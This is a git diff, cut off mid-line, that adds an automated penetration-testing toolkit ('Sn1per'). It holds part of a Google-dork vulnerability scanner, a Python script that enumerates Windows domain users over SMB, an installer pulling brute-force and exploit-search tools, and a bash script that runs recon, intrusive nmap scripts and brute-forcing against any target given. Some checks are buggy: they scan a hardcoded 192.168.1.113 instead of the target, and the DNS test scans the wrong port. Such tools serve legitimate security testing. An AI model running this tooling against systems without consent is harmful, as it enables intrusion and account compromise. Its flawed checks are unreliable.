ndj6p3asftxboa7j.tor2web.org / Tor find =================== +#=============================================================================== + + if (__validateOptions($_SESSION["config"]["motor"], "e1")) { + + __pageEngine("TOR FIND", "https://ndj6p3asftxboa7j.tor2web.org/search.php?search_query=[DORK]&page_num=[PAG]&domainchoice=onion", $dork_, $postDados, 1, 5, 1); + } + +#=============================================================================== +# SEARCH ENGINE ::: elephantjmjqepsw.tor2web.org ============================== +#=============================================================================== + + if (__validateOptions($_SESSION["config"]["motor"], "e2")) { + + __pageEngine("ELEPHANT", "https://elephantjmjqepsw.tor2web.orgsearch?q=[DORK]&page=[PAG]", $dork_, $postDados, 0, 29, 1); + } + +#=============================================================================== +# SEARCH ENGINE ::: kbhpodhnfxl3clb4.tor2web.org ============================== +#=============================================================================== + + if (__validateOptions($_SESSION["config"]["motor"], "e3")) { + + __pageEngine("TORSEARCH", "https://kbhpodhnfxl3clb4.tor2web.org/en/search?j=f&page=[PAG]&q=[DORK]&utf8=%E2%9C%93", $dork_, $postDados, 0, 10, 1); + } + +#=============================================================================== +# SEARCH ENGINE ::: search.wikileaks.org ====================================== +#=============================================================================== + + if (__validateOptions($_SESSION["config"]["motor"], "e4")) { + + __pageEngine("WIKILEAKS", "https://search.wikileaks.org/?page=[PAG]&q=[DORK]&sort=0#results", $dork_, $postDados, 1, 60, 1); + } + +#=============================================================================== +# SEARCH ENGINE ::: oth.net ==================================================== +#=============================================================================== + + if (__validateOptions($_SESSION["config"]["motor"], "e5")) { + + __pageEngine("OTN", "http://oth.net/s/s?q=[DORK]&cl=1&skip=[PAG]", $dork_, $postDados, 1, 211, 20); + } + +#=============================================================================== +# SEARCH ENGINE ::: exploits.shodan.io ========================================= +#=============================================================================== + + if (__validateOptions($_SESSION["config"]["motor"], "e6")) { + + __pageEngine("EXPLOITS SHODAN", "https://exploits.shodan.io/?q=[DORK]&p=[PAG]", $dork_, $postDados, 1, 25, 1); + } + + __plus(); +} + +################################################################################ +#INITIAL INFORMATION############################################################ +################################################################################ + +function __startingBanner() { + + echo "\n{$_SESSION["c1"]}[ ! ] Starting SCANNER INURLBR 2.1 at [" . date("d-m-Y H:i:s") . "]{$_SESSION["c9"]} +[ ! ] legal disclaimer: Usage of INURLBR for attacking targets without prior mutual consent is illegal. +It is the end user's responsibility to obey all applicable local, state and federal laws. +Developers assume no liability and are not responsible for any misuse or damage caused by this program{$_SESSION["c0"]}\n"; + + $file = not_isnull_empty($_SESSION['config']['arquivo_output']) ? $_SESSION['config']['arquivo_output'] : NULL; + $file_all = not_isnull_empty($_SESSION['config']['arquivo_output_all']) ? $_SESSION['config']['arquivo_output_all'] : NULL; + $command = not_isnull_empty($_SESSION['config']['command-vul']) ? $_SESSION['config']['command-vul'] : $_SESSION['config']['command-all']; + $subcommand = not_isnull_empty($_SESSION['config']['sub-cmd-vul']) ? $_SESSION['config']['sub-cmd-vul'] : $_SESSION['config']['sub-cmd-all']; + + echo (not_isnull_empty($_SESSION['config']['ifemail']) ? + "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ FILTER EMAIL ]::{$_SESSION["c1"]}[ {$_SESSION['config']['ifemail']} ]{$_SESSION["c0"]}" : NULL); + + echo (is_array($_SESSION['config']['dork-file']) ? + "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ DORK FILE ]::{$_SESSION["c1"]}[ {$_SESSION['config']['dork-file']} ]{$_SESSION["c0"]}" : NULL); + + echo (not_isnull_empty($_SESSION['config']['dork-rand']) ? + "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ DORKS GENERATED ]::{$_SESSION["c1"]}[ {$_SESSION['config']['dork-rand']} ]{$_SESSION["c0"]}" : NULL); + + echo (is_array($_SESSION['config']['irc']['conf']) ? + "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ SEND VULN IRC ]::{$_SESSION["c1"]}[ server: {$_SESSION['config']['irc']['conf'][0]} / channel: {$_SESSION['config']['irc']['conf'][1]} ]{$_SESSION["c0"]}" : NULL); + + echo (not_isnull_empty($_SESSION['config']['ifurl']) ? + "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ FILTER URL ]::{$_SESSION["c1"]}[ {$_SESSION['config']['ifurl']} ]{$_SESSION["c0"]}" : NULL); + + echo (not_isnull_empty($file) ? + "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ OUTPUT FILE ]::{$_SESSION["c1"]} [ " . getcwd() . "/{$_SESSION['config']['out_put_paste']}{$file} ]{$_SESSION["c0"]}" : NULL); + + echo (not_isnull_empty($file_all) ? + "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ OUTPUT FILE ALL ]::{$_SESSION["c1"]}[ " . getcwd() . "/{$_SESSION['config']['out_put_paste']}{$file_all} ]{$_SESSION["c0"]}" : NULL); + + echo (not_isnull_empty($command) ? + "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ DEFINED EXTERNAL COMMAND ]::{$_SESSION["c1"]} [ $command ]{$_SESSION["c0"]}" : NULL); + + echo (not_isnull_empty($subcommand) ? + "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ DEFINED EXTERNAL SUB_COMMAND ]::{$_SESSION["c1"]} [ $subcommand ]{$_SESSION["c0"]}" : NULL); + + echo (not_isnull_empty($_SESSION['config']['proxy-file']) ? + "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ FILE SOURCE LIST OF PROXY ]::{$_SESSION["c1"]} [ {$_SESSION['config']['proxy-file']} ]{$_SESSION["c0"]}" : NULL); +} + +################################################################################ +#RUN WITH SEARCH ENGINES######################################################## +################################################################################ +# (PHP 4 >= 4.0.1, PHP 5) create_function — Create an anonymous (lambda-style) +# function http://php.net/manual/en/function.create-function.php + +function __main($dork, $motor, $cod) { + + $dork_[0] = (strstr($dork, '[DORK]') ? explode('[DORK]', $dork) : array($dork)); + $dork_[1] = (not_isnull_empty($_SESSION['config']['dork-file']) ? __openFile($_SESSION['config']['dork-file'], 1) : $dork_[0]); + $dork_[2] = (not_isnull_empty($_SESSION['config']['dork-rand']) ? __randomDork($_SESSION['config']['dork-rand']) : array()); + $dork_[3] = array_filter(array_unique(array_merge($dork_[0], $dork_[1], $dork_[2]))); + + $file_proxy = (not_isnull_empty($_SESSION['config']['proxy-file']) ? __openFile($_SESSION['config']['proxy-file'], 1) : NULL); + $list_proxy = (is_array($file_proxy) ? ($file_proxy) : NULL); + + print __bannerLogo(); + + __startingBanner(); + + for ($i = 0; $i <= count($dork_[3]); $i++) { + + if (!empty($dork_[3][$i])) { + + echo "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ DORK ]::{$_SESSION["c1"]}[ {$dork_[3][$i]} ]\n"; + + //$objNewSearch = create_function('$dork_, $motor, $list_proxy', $cod); + //$objNewSearch(urlencode($dork_[3][$i]), $motor, $list_proxy); + + __engines(urlencode($dork_[3][$i]), $list_proxy) . __plus(); + + ($_SESSION["config"]["pr"]) ? __process(explode("\n", $_SESSION["config"]["totas_urls"])) . __plus() : NULL; + ($_SESSION["config"]["pr"]) ? $_SESSION["config"]["totas_urls"] = NULL : NULL; + + echo "\n"; + } + } + + (!$_SESSION["config"]["pr"]) ? __process(explode("\n", $_SESSION["config"]["totas_urls"])) . __plus() : NULL; + + __exitProcess(); +} + +################################################################################ +#RUN VALIDATION / PROCESSES SCAN RANG IP######################################## +################################################################################ + +if (not_isnull_empty($_SESSION['config']['range']) || not_isnull_empty($_SESSION['config']['range-rand'])) { + + print __bannerLogo(); + __startingBanner(); + not_isnull_empty($_SESSION['config']['range']) ? __process(__generatorRangeIP($_SESSION['config']['range'])) : NULL; + not_isnull_empty($_SESSION['config']['range-rand']) ? __process(__generatorIPRandom(array(1 => $_SESSION['config']['range-rand']))) : NULL; + __exitProcess(); +} + + +################################################################################ +#RUN VALIDATION / PROCESSES WITH FILE########################################### +################################################################################ + +if (not_isnull_empty($_SESSION['config']['abrir-arquivo'])) { + + print __bannerLogo(); + __startingBanner(); + __openFile($_SESSION['config']['abrir-arquivo']); + __plus(); + __exitProcess(); +} + +################################################################################ +#RUN WITH SEARCH ENGINES######################################################## +################################################################################ + +__main($_SESSION['config']['dork'], $_SESSION['config']['motor'], $_SESSION['config']['cod']); + +function __extra() { + + $banners = array( + "{$_SESSION["c1"]} +_ _ _ _ _ ____ _ ___ ____ +| |\ | | | |__/ | |__] |__/ +| | \| |__| | \ |___ |__] | \ +", "{$_SESSION["c1"]} + ( ) ( ( ( + )\ ) ( /( )\ ) )\ ) ( )\ ) +(()/( )\()) ( (()/((()/( ( )\ (()/( + /(_))((_)\ )\ /(_))/(_)))((_) /(_)) +(_)) _((_) _ ((_)(_)) (_)) ((_)_ (_)) +|_ _| | \| || | | || _ \| | | _ )| _ \ + | | | .` || |_| || /| |__ | _ \| / +|___| |_|\_| \___/ |_|_\|____||___/|_|_\ + ", "{$_SESSION["c1"]} +.-..-. .-..-. .-..----. .-. .----. .----. +| || `| || { } || {} }| | | {} }| {} } +| || |\ || {_} || .-. \| `--.| {} }| .-. \ +`-'`-' `-'`-----'`-' `-'`----'`----' `-' `-' + ", "{$_SESSION["c1"]} + ___ _ _ _ _ ____ _ ____ ____ +|_ _| \ | | | | | _ \| | | __ )| _ \ + | || \| | | | | |_) | | | _ \| |_) | + | || |\ | |_| | _ <| |___| |_) | _ < +|___|_| \_|\___/|_| \_\_____|____/|_| \_\ +", "{$_SESSION["c1"]} + /~\ + |oo ) /INURLBR + _\=/_ + ___ # / _ \ # + /() \ \\//|/.\|\\// + _|_____|_ \/ \_/ \/ + | | === | | |\ /| + |_| O |_| \_ _/ + || O || | | | + ||__*__|| | | | + |~ \___/ ~| []|[] + /=\ /=\ /=\ | | | +________________[_]_[_]_[_]________/_]_[_\_________________________ +", "{$_SESSION["c1"]} + ______ __ __ __ __ ____ __ ____ ____ +/\__ _\ /\ \/\ \/\ \/\ \/\ _`\ /\ \ /\ _`\ /\ _`\ +\/_/\ \/ \ \ `\\ \ \ \ \ \ \ \L\ \ \ \ \ \ \L\ \\ \ \L\ \ + \ \ \ \ \ , ` \ \ \ \ \ \ , /\ \ \ __\ \ _ <'\ \ , / + \_\ \__\ \ \`\ \ \ \_\ \ \ \\ \\ \ \L\ \\ \ \L\ \\ \ \\ \ + /\_____\\ \_\ \_\ \_____\ \_\ \_\ \____/ \ \____/ \ \_\ \_\ + \/_____/ \/_/\/_/\/_____/\/_/\/ /\/___/ \/___/ \/_/\/ / +", "{$_SESSION["c1"]} + _____ ______ _ _ ______ _ ______ ______ +(_____) ___ \| | | (_____ \| | (____ (_____ \ + _ | | | | | | |_____) ) | ____) )____) ) + | | | | | | | | (_____ (| | | __ (_____ ( + _| |_| | | | |___| | | | |_____| |__) ) | | +(_____)_| |_|\______| |_|_______)______/ |_| +", "{$_SESSION["c1"]} + ______ + .-. .-. + / \ + | [ INURLBR ] | + |, .-. .-. ,| + | )(|_/ \|_)( | + |/ /\ \| + _ (_ ^^ _) + _\ ____) \_______\__|IIIIII|__/_______________________________ + (_)[___]{}<________|-\IIIIII/-|__INURL__INURL__INURL___________\ + / )_/ \ / + \ ______ / +", "{$_SESSION["c1"]} + +88 88b 88 88 88 88**Yb 88 88**Yb 88**Yb +88 88Yb88 88 88 88__dP 88 88__dP 88__dP +88 88 Y88 Y8 8P 88*Yb 88 .o 88**Yb 88*Yb +88 88 Y8 `YbodP' 88 Yb 88ood8 88oodP 88 Yb +", "{$_SESSION["c1"]} + + # + ## ### + ### ### ## ### ## ####### ### ####### ####### + ### #### ## ### ## ## ### ## ## + ### ####### ### ## ###### ### ###### ###### + ### ### ### ### ## ## ## ### ### ## ## ## + ### ### ## ##### ## ## ####### ###### ## ## + # +", "{$_SESSION["c1"]} + + __ __ __ __ _______ __ __ __ __ __ _______ __ +| | | | | | | | | ____|| | | | | | | | | | | ____|| | +| |__| | | | | | | |__ | | | |__| | | | | | | |__ | | +| __ | | | | | | __| | | | __ | | | | | | __| | | +| | | | | `--' | | |____ |__| | | | | | `--' | | |____ |__| +|__| |__| \______/ |_______|(__) |__| |__| \______/ |_______|(__) +", "{$_SESSION["c1"]} + _ _ +| |__ _ __ | |__ _ __ +| '_ \| '__| | '_ \| '__| +| |_) | | | |_) | | +|_.__/|_| |_.__/|_| +", "{$_SESSION["c1"]} + ___ .__ __. .___________. __ _______ ___ + / \ | \ | | | || | | ____| / \ + / ^ \ | \| | `---| |----`| | | |__ / ^ \ + / /_\ \ | . ` | | | | | | __| / /_\ \ + / _____ \ | |\ | | | | | | | / _____ \ +/__/ \__\ |__| \__| |__| |__| |__| /__/ \__\ +", "{$_SESSION["c1"]} + _____ _ _ +/ ___| | | (_) +\ `--. _ _| |____ _____ _ __ ___ ___ _____ + `--. \ | | | '_ \ \ / / _ \ '__/ __| \ \ / / _ \ +/\__/ / |_| | |_) \ V / __/ | \__ \ |\ V / __/ +\____/ \__,_|_.__/ \_/ \___|_| |___/_| \_/ \___| + +", "{$_SESSION["c1"]} + __ __ _ _ _ ____ _ _ _ _ + \ \ / /_ _ _ __ __| | __ _| (_)___ _ __ ___ ___ | _ \(_) __ _(_) |_ __ _| | + \ \ / / _` | '_ \ / _` |/ _` | | / __| '_ ` _ \ / _ \ | | | | |/ _` | | __/ _` | | + \ V / (_| | | | | (_| | (_| | | \__ \ | | | | | (_) | | |_| | | (_| | | || (_| | | + \_/ \__,_|_| |_|\__,_|\__,_|_|_|___/_| |_| |_|\___/ |____/|_|\__, |_|\__\__,_|_| + |___/ +"); + return ($banners[rand(0, count($banners) - 1)]); +} diff --git a/bin/samrdump.py b/bin/samrdump.py new file mode 100644 index 0000000..bb78d2b --- /dev/null +++ b/bin/samrdump.py @@ -0,0 +1,201 @@ +#!/usr/bin/python +# Copyright (c) 2003-2015 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: DCE/RPC SAMR dumper. +# +# Author: +# Javier Kohen +# Alberto Solino (@agsolino) +# +# Reference for: +# DCE/RPC for SAMR + +import sys +import logging +import argparse + +from impacket.examples import logger +from impacket import version +from impacket.nt_errors import STATUS_MORE_ENTRIES +from impacket.dcerpc.v5 import transport, samr +from impacket.dcerpc.v5.rpcrt import DCERPCException + + +class ListUsersException(Exception): + pass + +class SAMRDump: + KNOWN_PROTOCOLS = { + '139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139), + '445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445), + } + + + def __init__(self, protocols = None, + username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False): + if not protocols: + self.__protocols = SAMRDump.KNOWN_PROTOCOLS.keys() + else: + self.__protocols = [protocols] + + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = aesKey + self.__doKerberos = doKerberos + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + + + def dump(self, addr): + """Dumps the list of users and shares registered present at + addr. Addr is a valid host name or IP address. + """ + + logging.info('Retrieving endpoint list from %s' % addr) + + # Try all requested protocols until one works. + entries = [] + for protocol in self.__protocols: + protodef = SAMRDump.KNOWN_PROTOCOLS[protocol] + port = protodef[1] + + logging.info("Trying protocol %s..." % protocol) + rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos) + + try: + entries = self.__fetchList(rpctransport) + except Exception, e: + logging.critical(str(e)) + else: + # Got a response. No need for further iterations. + break + + # Display results. + + for entry in entries: + (username, uid, user) = entry + base = "%s (%d)" % (username, uid) + print base + '/FullName:', user['FullName'] + print base + '/UserComment:', user['UserComment'] + print base + '/PrimaryGroupId:', user['PrimaryGroupId'] + print base + '/BadPasswordCount:', user['BadPasswordCount'] + print base + '/LogonCount:', user['LogonCount'] + + if entries: + num = len(entries) + if 1 == num: + logging.info('Received one entry.') + else: + logging.info('Received %d entries.' % num) + else: + logging.info('No entries received.') + + + def __fetchList(self, rpctransport): + dce = rpctransport.get_dce_rpc() + + entries = [] + + dce.connect() + dce.bind(samr.MSRPC_UUID_SAMR) + + try: + resp = samr.hSamrConnect(dce) + serverHandle = resp['ServerHandle'] + + resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle) + domains = resp['Buffer']['Buffer'] + + print 'Found domain(s):' + for domain in domains: + print " . %s" % domain['Name'] + + logging.info("Looking up users in domain %s" % domains[0]['Name']) + + resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] ) + + resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId']) + domainHandle = resp['DomainHandle'] + + status = STATUS_MORE_ENTRIES + enumerationContext = 0 + while status == STATUS_MORE_ENTRIES: + try: + resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext) + except DCERPCException, e: + if str(e).find('STATUS_MORE_ENTRIES') < 0: + raise + resp = e.get_packet() + + for user in resp['Buffer']['Buffer']: + r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId']) + print "Found user: %s, uid = %d" % (user['Name'], user['RelativeId'] ) + info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation) + entry = (user['Name'], user['RelativeId'], info['Buffer']['All']) + entries.append(entry) + samr.hSamrCloseHandle(dce, r['UserHandle']) + + enumerationContext = resp['EnumerationContext'] + status = resp['ErrorCode'] + + except ListUsersException, e: + logging.critical("Error listing users: %s" % e) + + dce.disconnect() + + return entries + + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print version.BANNER + + parser = argparse.ArgumentParser(add_help = True, description = "This script downloads the list of users for the target system.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('protocol', choices=SAMRDump.KNOWN_PROTOCOLS.keys(), nargs='?', default='445/SMB', help='transport protocol (default 445/SMB)') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + import re + + domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') + + if domain is None: + domain = '' + + if options.aesKey is not None: + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + dumper = SAMRDump(options.protocol, username, password, domain, options.hashes, options.aesKey, options.k) + dumper.dump(address) diff --git a/install.sh b/install.sh new file mode 100644 index 0000000..885526e --- /dev/null +++ b/install.sh @@ -0,0 +1,14 @@ +#!/bin/bash +# Install script for sn1per +# +echo "Installing sn1per dependencies..." +apt-get install host whois theharvester dnsenum curl nmap php5 php5-curl wapiti hydra iceweasel wpscan sqlmap arachni w3af golismero nbtscan enum4linux cisco-torch metasploit-framework theharvester nmap dnsenum snmpwalk nikto smtp-user-enum whatweb python nbtscan sslscan amap +git clone https://github.com/1N3/Findsploit.git +git clone https://github.com/1N3/BruteX.git +git clone https://github.com/1N3/Goohak.git +git clone https://github.com/1N3/XSSTracer.git +git clone https://github.com/1N3/SuperMicro-Password-Scanner +git clone https://github.com/Dionach/CMSmap.git +mkdir loot +echo "Be sure to install the following packages manually and update the sniper script references: dig dnsdict6 cmsmap samrdump inurlbr wafw00f showmount samrdump rpcinfo" +echo "Done!" diff --git a/loot/README b/loot/README new file mode 100644 index 0000000..e69de29 diff --git a/sniper b/sniper new file mode 100644 index 0000000..e97ffee --- /dev/null +++ b/sniper @@ -0,0 +1,518 @@ +#!/bin/bash +# + -- --=[Sn1per v1.3 by 1N3 v20150906 +# + -- --=[http://crowdshield.com +# +# Sn1per - Automated Pentest Recon Tool +# +# FEATURED: +# - Automatically collect recon info (ie. whois, ping, DNS, etc.) +# - Automatically collects Google hacking recon info +# - Automatically run port scans +# - Automatically brute force sub-domains via DNS +# - Automatically run targeted nmap scripts against open ports +# - Automatically scans all web applications +# - Automatically brute forces all open services +# +# INSTALL: +# ./install.sh - Installs all dependencies. Best run from Kali Linux. +# +# USAGE: +# ./sn1per +# + +TARGET="$1" +LOOT_DIR="loot" +FINDSPLOIT_DIR="Findsploit" +CMSMAP="CMSmap/cmsmap.py" +SAMRDUMP="bin/samrdump.py" +DNSDICT6="bin/dnsdict6" +INURLBR="bin/inurlbr.php" +USER_FILE="BruteX/simple-users.txt" +PASS_FILE="BruteX/password.lst" +DNS_FILE="BruteX/namelist.txt" +SUPER_MICRO_SCAN="SuperMicro-Password-Scanner/supermicro_scan.sh" +THREADS="30" +OKBLUE='\033[94m' +OKRED='\033[91m' +OKGREEN='\033[92m' +OKORANGE='\033[93m' +RESET='\e[0m' + +if [ -z $TARGET ]; then + echo -e "$OKRED ____ $RESET" + echo -e "$OKRED _________ / _/___ ___ _____$RESET" + echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" + echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET" + echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" + echo -e "$OKRED /_/ $RESET" + echo -e "$RESET" + echo -e "$OKORANGE + -- --=[http://crowdshield.com" + echo -e "$OKORANGE + -- --=[sn1per v1.3 by 1N3" + echo -e "$OKORANGE + -- --=[Usage: sn1per " + exit +fi + +clear + +echo -e "$OKRED ____ $RESET" +echo -e "$OKRED _________ / _/___ ___ _____$RESET" +echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" +echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET" +echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" +echo -e "$OKRED /_/ $RESET" +echo -e "$RESET" +echo -e "$OKORANGE + -- --=[http://crowdshield.com" +echo -e "$OKORANGE + -- --=[sn1per v1.3 by 1N3" +echo -e "$RESET" + +echo -e "$OKGREEN################################### Running recon #################################$RESET" +nslookup $TARGET +host $TARGET +dig -x $TARGET +whois $TARGET +theharvester -d $TARGET -b google +theharvester -d $TARGET -b bing +theharvester -d $TARGET -b linkedin +theharvester -d $TARGET -b people123 +dnsenum $TARGET +dnsdict6 $TARGET $DNS_FILE -4 | awk '{print $1}' | sort -u | sed -r 's/.com./.com/g' > $LOOT_DIR/domains-$TARGET.txt +cat $LOOT_DIR/domains-$TARGET.txt +echo "" +echo -e "$OKBLUE+ -- --=[Checking for SPF records on $TARGET...$RESET $OKORANGE" +curl -s -X POST http://www.kitterman.com/getspf2.py --data 'serial=fred12&domain=$TARGET' | egrep spf1 --color +echo "" +echo -e "$OKGREEN################################### Pinging host ###################################$RESET" +ping -c 1 $TARGET +echo "" +echo -e "$OKGREEN################################### Running port scan ##############################$RESET" +nmap -sS -sV -T4 -A -O --open $TARGET -oX $LOOT_DIR/nmap-$TARGET.xml +echo "" +echo -e "$OKGREEN################################### Running Intrusive Scans ########################$RESET" +port_21=`grep 'portid="21"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_22=`grep 'portid="22"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_23=`grep 'portid="23"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_25=`grep 'portid="25"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_53=`grep 'portid="53"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_80=`grep 'portid="80"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_110=`grep 'portid="110"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_111=`grep 'portid="111"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_135=`grep 'portid="135"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_139=`grep 'portid="139"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_162=`grep 'portid="162"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_443=`grep 'portid="443"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_445=`grep 'portid="445"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_512=`grep 'portid="512"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_513=`grep 'portid="513"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_514=`grep 'portid="514"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_1099=`grep 'portid="1099"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_1524=`grep 'portid="1524"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_2049=`grep 'portid="2049"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_2121=`grep 'portid="2121"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_3306=`grep 'portid="3306"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_3389=`grep 'portid="3389"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_5432=`grep 'portid="5432"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_5800=`grep 'portid="5800"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_5900=`grep 'portid="5900"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_6667=`grep 'portid="6667"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_8000=`grep 'portid="8000"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_8009=`grep 'portid="8009"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_8080=`grep 'portid="8080"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_8180=`grep 'portid="8180"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_49152=`grep 'portid="49152"' $LOOT_DIR/nmap-$TARGET.xml | grep open` + +if [ -z "$port_21" ] +then + echo -e "$OKRED+ -- --=[Port 21 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 21 opened... running tests...$RESET" + nmap -sV -sC -p 21 --script=ftp-* $TARGET + +fi + +if [ -z "$port_22" ] +then + echo -e "$OKRED+ -- --=[Port 22 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 22 opened... running tests...$RESET" + nmap -sV -sC -p 22 --script=ssh-* $TARGET +fi + +if [ -z "$port_23" ] +then + echo -e "$OKRED+ -- --=[Port 23 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 23 opened... running tests...$RESET" + echo "" + cisco-torch -A $TARGET + nmap -sV --script=telnet* -p 23 $TARGET +fi + +if [ -z "$port_25" ] +then + echo -e "$OKRED+ -- --=[Port 25 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 25 opened... running tests...$RESET" + nmap -sV --script=smtp* -p 25 192.168.1.113 + smtp-user-enum -M VRFY -U $USER_FILE -t $TARGET +fi + +if [ -z "$port_53" ] +then + echo -e "$OKRED+ -- --=[Port 53 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 53 opened... running tests...$RESET" + nmap -sV --script=dns* -p 25 192.168.1.113 +fi + +if [ -z "$port_80" ] +then + echo -e "$OKRED+ -- --=[Port 80 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 80 opened... running tests...$RESET" + goohak $TARGET 2> /dev/null + php $INURLBR --dork "site:$TARGET" -s $LOOT_DIR/inurlbr-$TARGET.txt >> $LOOT_DIR/inurlbr-$TARGET.txt + rm -Rf output/ cookie.txt exploits.conf + nmap -sV -p 80 --script=http-enum,http-feed,http-open-proxy,http-headers,http-cors,http-server-header,http-php-version,http-form-brute,http-iis-short-name-brute,http-waf-fingerprint,http-auth,http-trace,http-iis-webdav-vuln,http-useragent-tester,http-vuln-cve2011-3368,http-userdir-enum,http-passwd,http-drupal-modules,http-csrf,http-wordpress-enum,http-frontpage-login,http-dombased-xss,http-phpself-xss,http-sql-injection,http-drupal-enum-users,http-referer-checker,http-vuln-cve2009-3960,http-methods,http-email-harvest,http-open-redirect,http-vuln-cve2011-3192,http-stored-xss,http-vuln-cve2013-0156,http-put,http-proxy-brute,http-rfi-spider,http-method-tamper $TARGET + wafw00f http://$TARGET + echo "" + whatweb http://$TARGET + xsstracer $TARGET 80 + echo "" + echo -e "$OKBLUE+ -- --=[Checking if X-Content options are enabled on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I http://$TARGET | egrep -i 'X-Content' + echo "" + echo -e "$OKBLUE+ -- --=[Checking if X-Frame options are enabled on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I http://$TARGET | egrep -i 'X-Frame' + echo "" + echo -e "$OKBLUE+ -- --=[Checking if X-XSS-Protection header is enabled on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I http://$TARGET | egrep -i 'X-XSS' + echo "" + echo -e "$OKBLUE+ -- --=[Checking HTTP methods on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I -X OPTIONS http://$TARGET | grep Allow + echo "" + echo -e "$OKBLUE+ -- --=[Checking if TRACE method is enabled on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I -X TRACE http://$TARGET | grep TRACE + echo "" + echo -e 